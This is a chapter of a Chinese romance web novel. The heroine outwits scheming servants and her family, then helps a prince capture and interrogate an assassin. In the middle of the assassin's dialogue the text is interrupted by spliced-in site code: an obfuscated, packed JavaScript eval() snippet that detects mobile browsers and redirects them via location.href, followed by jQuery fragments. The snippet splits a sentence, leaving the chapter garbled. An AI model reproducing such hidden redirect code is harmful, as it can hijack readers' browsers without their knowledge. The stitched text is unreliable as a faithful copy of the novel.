10. 第 10 章
作品:《明月偷心》 红日云霞下,裴萝运着轻功,回了轻梦阁,当即换了一身干净衣裳,洗了把脸,长舒一口气,双手扇着脸颊,驱散茶酒气。
“二娘子,公爷和夫人……已、已经知道您出去过的事了。”婢女道。
裴萝咬着枣子,抬眼看向婢女。
婢女与彤朱一同入府,原先对裴萝,也是和彤朱一样,不大瞧得上。可经过上午之事,却是心生惧意,不敢轻蔑。便是见到裴萝没什么笑意的眼神,猛地心中一紧,道:“二娘子息怒!奴婢全照二娘子的吩咐办事,不曾对公爷夫人吐露一个字……是、是从外头传来的消息,说有人在西市看到了二娘子……”
“很好。”裴萝从袖中取出一小瓷瓶,歪着脑袋,“伸手。”
婢女忙地张开双手。裴萝倒出一粒白色小丸,顺势拿起石桌上的茶壶,斟满一杯茶,推了过去。
“多谢二娘子,多谢二娘子!”
婢女急急服下,清凉入喉,顿觉浑噩尽消,神思爽利。
“谢什么,”裴萝莞尔而笑,唇红齿白,“我给你毒药,再给你解药,你心中怕是很恨我吧。”
婢女怎敢承认,摇头道:“奴婢不敢!”
裴萝叹了一声,“我其实也不想出此下策的,可说来也是好笑,若非如此,我竟是使唤不动你们的。”
婢女闻言大为害怕,“奴婢是二娘子的侍女,凡是皆理所应当,日后二娘子但请吩咐奴婢,绝无怨言!”
裴萝很是满意,“好,退下。”
“是。”婢女离去。
当下正是黄昏时分,天幕苍黄,光线细碎,游移跳动,庭院中的玉兰花托着枝条向上舒展,花枝点金。
那玉兰亭亭而立、典雅洁白,裴萝心下欢喜,踩上石桌,借力跃上玉兰枝头旁的屋瓦,忍着摘下去的冲动,甚是爱惜地侍弄玉兰。
暮色宁静。
然而不消一会,宁静即被打破。
只听得院外起了异动,随后便听呼嚎声。
“二娘子,求你救救我!”一派凄惨、满面泪痕的彤朱突然闯进来,跪在石头地面上,“夫人要将奴婢发卖,求二娘子看在奴婢曾伺候过二娘子的份上,放过奴婢吧!”
她身后跟着几个丫鬟婆子,四处找寻,才在屋顶上找到裴萝的身影,皆一惊,忙不迭地求饶,称彤朱借口轻梦阁中还有自己的重要物件,想回来带走,谁知却是直奔主阁,找裴萝来的。
裴萝探头望去,道:“我不当家,这事我也管不着,你若有什么冤屈,找主母说便是了。”
“奴婢被猪油蒙了心,是被丹蕊强逼着的,不得已而为之,别无他法啊,求二娘子体谅!”彤朱血泪混杂,头发凌乱,“二娘子刚被寻回,您若是为奴婢求情,奴婢定能留在府上,奴婢愿意性命起誓,愿伺候二娘子一辈子!”
裴萝笑道:“不必啦,留一个喜爱背后诋毁我、风言风语、私藏我的东西、偷奸耍滑、不忠不义的人在我身边一辈子,我做梦岂不都要睁只眼?”
彤朱骤然色变,自知无望了。
裴萝随手折下几朵玉兰,握住手中,一跃而下,还是笑着,觉得好笑,“彤朱,你以为我是滥好人吗?我且告诉你,我连好人都算不上。得罪谁,都不要得罪我这种既冷血无情又锱铢必较的人。”
“二娘子……”
“你们还愣着干什么?”裴萝疑惑地看着丫鬟婆子,“任她一直缠扰我,直到磨得我心软,准备去与母亲求情,留下她,然后便让你们觉得,我好欺负是不是?”
丫鬟婆子们连连摇头,慌忙押着彤朱离开。
裴萝拢着玉兰,冷笑一声。她又不是傻子,彤朱白日挨了板子,黄昏就能挣开束缚,跑到自己跟前来求情了?分明是这些人背后的盘算,来试探她底线。
人一少,轻梦阁回归清静。
裴萝眼神一瞥,看到了院外的裴皎与沉默寡言也少见的裴三郎裴渡。
裴渡模样周正,举止之间甚是雅致。他没什么话,只是向裴萝这位嫡姐行礼问安,便错开了视线,去往藏书阁。
裴皎没走,款步入内。
裴萝看向裴皎,略一打量,见她面薄如纸,眼下泛青,眸色也虚,笑道:“四妹妹怎么了?”
裴皎道:“二姐姐,我是有话与二姐姐说。”
“坐下说。”裴萝请裴皎坐在花树下,唤婢女上茶。
裴皎每次看到她,心中总是盘旋着复杂的情绪,低眉轻柔道:“我有一事想不明白,二姐姐怎么知道……偷了许嬷嬷金镯的是丹蕊?”
裴萝给自己倒水,“你问这个呀,其实说起来,还是你告诉我的呢。”
裴皎愣住,“什么?”
裴萝再给她斟茶,茶水清清,水声泠泠。裴萝混迹市井,她年纪小,见的人不算多,可也不少了。像裴皎这类,大家闺秀,心机单纯,轻易就能看破。譬如白日,裴萝就从她瞥向丹蕊的视线中,发现了异常。然后便通过查验珍珠,试探丹蕊,最后一言诈出。
“原来如此。”裴皎叹为观止,“二姐姐……好厉害。”
裴萝道:“江湖经验罢了。你来,就是问我这个?”
裴皎咬了咬下唇,玉兰树衬得她身形纤弱,似弱柳扶风。她心绪紧张,道:“也是于心不安,特来与二姐姐道歉。我猜到丹蕊是偷手镯之人,当时却始终不敢站出来,为二姐姐洗刷冤屈……我,我本已占据了二姐姐的位置,还……还……”
裴皎言语微抖,难以说下去。
裴萝见她自责不已,情绪摇摆,道:“不必如此。母亲收养了你,名册在籍,你就是裴府堂堂正正的女儿,无所谓什么占据不占据。至于金镯之事,更无妨了。毕竟你也说了,只是猜测,又不能确定,况且丹蕊是兄长的女使,若你说是她所为,难免让那般在意体统的兄长的面上过不去。”
裴萝说着笑了笑,摆弄几株玉兰,“是我还得多谢你,要不是你暗中透露,我怎么能揪出丹蕊呢?小事而已,莫放心上。”
裴皎怔然瞧着她,目光出神,呆了许久,才道:“二姐姐,对不住,我其实也还怀疑你了……”
裴萝看她半天就憋出这么一句,不禁失笑,“这有什么,父亲说得对,怀疑我很正常。我回府不过一日,若说你坚定地相信我,才令人奇怪吧。”
裴皎又呆住了。
“好漂亮的花,刚才没想摘下来的,都怪我这手。”裴萝作势拍打了一下,捧着她理好的玉兰花束,“玉兰离枝,听闻很快便会腐朽。插入水瓶中,尚能留住芳华。四妹妹,你会养花吗?”
“会。”
裴萝递给她,“那送你了。”
裴皎后知后觉地接过来,玉兰入怀,“谢、谢谢二姐姐。”
裴萝道:“不用。正好你来了,我呢,正想与你坦白,你不用担心我会取代你的位置,也不必去听那些让你不安的恶言。我不会的,我在外过够了苦日子,好不容易回来,我只想享受这富贵荣华,而非独占。内宅的争斗,能不起最好。”
裴皎眼眸闪烁,脸颊羞赧,垂首道:“我明白了,二姐姐……多谢你。”
裴萝笑了笑,掰着核桃吃,不再多言。
“对了,二姐姐,”裴皎想着提醒她,“你……你今日偷跑去西市酒肆的事,半个时辰前,父亲和母亲已经知道了,二老正在气头上,你要不……”
裴皎话未说完,便听裴萝的侍女来报,说公爷和夫人来了。
“一天了,我这轻梦阁迎来送往的,可真是热闹。”裴萝尚有闲心说着玩笑话,裴皎却为她捏了把冷汗。
裴郅气势汹汹地赶来,见裴萝竟还在悠闲地吃核桃,更是火上心头。
“你下午离府了?”裴郅劈头便质问,“谁让你擅自离府的!还去了西市酒肆那种地方,与一群庶民聚在一起喝酒玩乐,像个长舌妇一样谈天说地!白日里教授你的礼仪,你都忘了!人都道家丑不可外扬,你倒好,逢人便说丹蕊彤朱之事,闹坏裴府名声!她二人已被处置,你还有何不满?!”
裴萝含笑道:“父亲是堂堂礼部尚书,又是随州裴氏的家主,说话也太难听了。今日我被污蔑,我敬重的血亲并不信我,我心中哀伤,去酒肆消愁又何妨?再有,我何曾‘逢人便说’?我与那家酒肆相熟,又遇旧友,素有情谊,人家关心我,我清清白白,又有什么可隐瞒的?”
“你……”
随州裴氏一向注重典仪规范,族中女儿端庄贤淑,没有一个像裴萝这般的!
“况且,这事也不需我去宣扬。”裴萝挑出核桃仁,“魏国公府上下无数双眼睛,无数张嘴巴。纵然父亲一手遮天,那五指之间还有缝隙呢,这些‘家丑’,岂不正如细沙水流,倾泻而出?”
裴郅气得无言。这个女儿,也真如裴群所说,成了他们裴府的祸患!他悔不当初,只恨没能早些将她送走,让她有机可乘,利用楚王与大理寺,回了王府。
叶氏这时道:“蓉蓉,今日之事不怪你,是仆役该死,口风没守紧,搅得如今坊市里外,竟折腾得恍若满城皆知。若任由无知者胡言编排下去,恐损裴府的声名。”
叶氏搂着裴萝的臂弯,发髻中藏着忧思白发,又是不同态度。
“蓉蓉,娘思来想去,还是由你出面解释最好。坊间市井刁民,平日里无事,最爱嚼舌根,捧着瓜果,三五成群,酒气熏熏,从这头说到那头,便是神仙下凡,也让他们说个一身腌臜了,这些人着实可恨。若是如襄远侯府那样风气不正的人家便也算了,可咱们裴府世代清洁,威德煊赫,素有世家典范之美名,总不能让他们……侮了祖宗基业不成?”
裴萝听叶氏一番苦口婆心,道:“娘不必多言,我也是裴府的人,今日去酒肆,自也是解释了,只不过他们不信,我又能奈何?”
裴群道:“你当真好好解释了,而非添油加醋地影射裴府亏待你?”
“添油加醋?影射?”裴萝笑着摇了摇头,“怎么说我现在也是魏国公府的人,当然不会做这等有损声誉的事。对了兄长,你那个叫丹蕊的侍女如何了?西市茶坊酒肆都很关心呢。妹妹真是为你失望,你一向君子守礼,怎么府中养出这样一个侍女?多坏你清誉啊。”
入耳字字是为挑衅,裴群的脸色骤然阴沉。
“够了!”裴郅出声喝止,“你嚣张跋扈,狂妄无礼,裴府好生教导你,你却目无尊长,处处忤逆犯上!简直是不可理喻!从今夜开始,你就去跪祠堂,向列祖列宗虔心告罪,三天三夜后,若还不知悔改,当着列祖列宗的面,我也不能容你这大逆不道、有忝祖德的不孝女了!”
裴萝吃完一小盘碎核桃仁,又捡起一颗,只听“噶擦”声,她徒手捏碎了桃核,面带微笑。
裴郅面皮一跳,怒不可遏:“你想做什么!”
裴萝拍拍手,笑道:“不做什么,女儿从命,这就去跪。”
裴郅愈发觉得裴萝完全无法掌控,当下定了主意,尽快将她送走。他点了几个人去守祠堂,盯着裴萝罚跪。
*
是夜,月明星稀。
坊门大闭,飞流卫循制巡查平陵城。除却特许,百姓一概不允在街上行走。
一行小队策马,举令牌奔出了城,去往西边城郊,一座山脚下。两人举火把,其余人挖土掘物。
半个时辰后,几人匆匆策马。
“回去禀报王爷和少卿大人!那姓裴的女子给的图是假的!”
“事不宜迟,快!”
马踏踏过,掠起疾风,叶丛晃荡摇曳着。
下一刻,一双手拂过叶丛,暗夜树林中又冒出了一人,脚步迅速地去方才那行人的地方查验一番,果真是空无一物。
林深处风声萧索,夜雾遮住残月。
打更人的梆子敲过,已是四更天。
祠堂火光明耀。
裴萝跪在软垫上,已经有四个时辰。她已经睡了一程,醒后从袖中掏出一包下午未吃完的糕点,再翻些供品吃,吃饱后在心中数八卦练心法,盘坐吐纳练功,渐渐呼吸平缓,又有了睡意。
眼下这个点,祠堂外的守卫偷懒睡着了。裴萝抽出供台下所有垫子,摆放拼凑在一起,躺着睡下,正觉得软和,心下舒畅,余光一瞥,突然见祠堂外的黑夜中寒光一闪。
裴萝冷不丁被惊了一下,顿时睡意全无。一瞬间的功夫,那寒光逼近跟前,只见一把干血红锈混杂的横刀正架住自己的脖颈。
来人是全身黑衣蒙面,只露出一双凶恶浑浊的眼珠。
裴萝惊道:“你谁啊,竟敢私闯祠堂!来人……”
“不想死的话就老实点!”刺客声音粗犷,像利刃磨刀,“还记得你白天在酒肆说过什么吗?”
裴萝道:“你怎么知道我在酒肆?我说过那么多话,哪里记得!”
刺客道:“私产图。你喝了酒,醉前与你那个关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594211|187412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很好的伙计悄悄说你偷了宋雄的图,发觉与话本子中提到的藏宝图相似,只怕那图也是藏有宝贝的,又怕宋雄那人找上门来,就故意伪造了一份,是不是?”
“你……这你都知道?”裴萝有些发抖。
但裴萝其实并不疑惑,甚至是在意料之中。西市锦绣街的酒肆茶馆之类,人来人往,向来是交换情报的好地方。若有有心人,想打探什么,也必会在那处安插细作。
刺客道:“把真的图交出来,否则……”
刺客压了压刀刃。
裴萝脖颈一痛,只好应道:“好好好,我给你我给你!在我闺阁。”
刺客押着她前去轻梦阁,逼她指出方位。
裴萝道:“我藏在书案那边了。”
她的书案上满是乱糟糟堆着的话本。
翻找了一会,刺客忽有所察觉,又在她脖颈上压了一压,怀疑道:“你是不是耍我?!怎么这么爽快就交图?”
“大侠别急啊!你刀都在这呢,我能怎么办。我一小女子,顶多就会些轻功,正面打不过你,不爽快又如何?”裴萝边埋怨,边紧张兮兮地在桌上摸索着,片刻后大叫道:“找到了!”
说罢,她却飞快地将那张图揉成球,丢往了窗外。
那刺客大怒,正要挥刀。就在这刹那间,裴萝射出银针暗器,趁机闪身躲开刀刃,屈身扫腿,猛地一踢。速度快他百倍,刺客只觉脚上一痛,心下大惊,但还念着私产图,扑向窗外,捡丢出去的纸团。
也正在此时,屋顶上忽然跳下五个握刀黑衣人,竟是神不知鬼不觉。
为首之人,正是玄衣圆领袍的蔺无忌。
刺客暗道中计,不疑有他,欲飞身疾逃。然而不敌对方人多,一番打斗,没一会便被围住擒了。
蔺无忌上前扯掉他的蒙面,抬手扼住他的下颌骨,逼他吐出口中毒囊,又迅速拿过包着石头的布团,塞入他口中,叫他也无法咬舌自尽。
“呃唔唔……”
刺客目眦欲裂。
蔺无忌做了万全准备,甚至还点住刺客的穴道,以免他调动内力,震破经络而亡。
卫凭见终于抓到了活口,大喜,可又担心道:“看他这样子,大约受尽酷刑也不肯招的。”
蔺无忌也在想着这个问题。
“这简单啊!”裴萝穿好外衫,从屋里出来,瞪了那刺客几眼,又上手扇了他几个耳刮子解气,转头笑靥如花,“用摄神香把他迷到半晕不晕、半昏不昏,恍惚无主的状态,便是想问什么,就能问到什么了。”
她离得近,香气又清,蔺无忌下意识身子后仰,却正好瞧见她纤细脖颈上的一道血痕。
卫凭好奇道:“这什么摄神香这么灵,你有?”
“我们行走江湖的,为了自保,身上多备有这些东西。”裴萝从衣带中拿出一小包东西,展开可见白五色香粉,赤橙黄绿蓝相间,她扬眉启唇:“实不相瞒,这可是我亲制的,光这么一小包,黑市都炒到五十两了。官家有官家的规矩,江湖有江湖的手段。今夜就让你们看看,我这摄神香的厉害。”
刺客被移入她闺阁旁且无人居住的小耳房中。
裴萝摆弄工具,点上香粉。
其余众人在外等候。
约莫一盏茶后,再推门查看,那刺客已毫无挣扎寻死之色,而目光失焦,面容呆滞。
裴萝歪了歪脑袋,“请吧。”
一番问讯,真如裴萝所说,所问皆有果。
轻梦阁的动静惊动了裴府。
裴郅闻讯后,大惊失色,眼皮跳得厉害,只道裴萝真的与此事有关,否则楚王与大理寺少卿也不会夜半来捉她,一边披衣一边懊悔,如此还不如当初不认下她。
可尽管如若不认,大理寺依然会查到她的真实身份,紧接着就会查到裴府暗中调查她,分明确认女儿,却不肯接回,传出去亦会对裴府名声不利。
翻来覆去,竟成了乱麻……孽障,真是孽障!裴郅越想越是焦躁,连带着叶氏也惶惶不安,系错了衣带的结扣,满头大汗地重新解开系好。
匆忙赶去轻梦阁的时候,裴群也闻讯而来,愤愤道:“爹,跪个祠堂也生事,这裴萝当真是个祸害!”
裴郅脸色阴沉不语,加快脚步。
待到了轻梦阁,求见楚王时,却见院中杏树下,玄衣劲服的蔺无忌正向裴萝行叉手礼。
君子端方,清冷矜贵无二。
“多谢相助。事后,本王会如实禀报父皇,请静候佳音。”
裴萝笑盈盈地回礼。
“应当的。不知此事过后,我在王爷心中可还算清白?”
蔺无忌看她。
裴萝道:“我知道,王爷请我,一是为了引蛇出洞,二则……只怕也存了试探我之心吧,看我与这案子,究竟有没有关系。”
蔺无忌暗暗诧于此女的狡黠与机敏,对方不顾危险引出刺客,慷慨相助,而自己猜忌心却是过重了,回道:“是本王误判,裴娘子见谅。”
裴萝眼眸明亮,大方摆手,笑道:“无妨无妨,缉罪之事,再谨慎也不为过。能得王爷向我道歉,对我改观,我便也满意了。”
蔺无忌道:“今夜让裴娘子涉险,多有得罪。重青。”
亲信侍卫听令,取出一只天青色方寸瓷瓶,道:“裴二娘子,这个药膏涂抹伤处,好得很快。”
裴萝接过,指尖微凉,一瞧便是上好的创伤膏,心下欢喜。
蔺无忌见她膝盖微曲,眼眸不由地一动,正欲转身,顿住脚步,又回头道:“裴大人。”
“是,下官在。”裴郅忙应声道。
蔺无忌道:“裴二娘子去西市,是本王的主意。”
裴郅百般惊诧,张口道:“原来是……是楚王殿下授意,那想必定是别有打算。”
蔺无忌道:“本王的意思是,不知裴大人可否网开一面,免跪了这祠堂。”
他虽说是请求,可那冷淡的声调,波澜不惊的语气,倒像是直接发号施令。
裴郅无可反驳,道:“既是替楚王殿下,替大理寺行梁国公事,下官自当予以理解。蓉蓉,你不必跪了,还不谢谢楚王?”
庭院中乌云散去,一弯残月也明亮,清辉重重,如纱笼罩。裴萝满心欢喜,行礼谢过:“多谢楚王殿下!”
蔺无忌颔首,面目萧然疏冷,不再说什么了,令人秘密押送刺客,回大理寺。

